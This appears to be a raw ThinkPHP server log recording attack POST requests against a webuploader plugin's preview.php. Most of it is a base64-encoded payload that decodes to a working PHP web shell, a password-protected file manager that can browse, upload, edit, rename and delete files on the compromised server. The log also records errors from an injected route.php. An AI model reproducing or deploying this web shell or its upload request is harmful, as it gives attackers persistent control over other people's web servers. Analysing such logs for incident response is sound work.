yPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.15', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:29:52+08:00 ] 119.42.146.234 POST 51tianwei.com/res/plugins/webuploader/0.1.15/server/preview.php [运行时间:0.002715s] [吞吐率:368.34req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'res', 2 => 'plugins', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A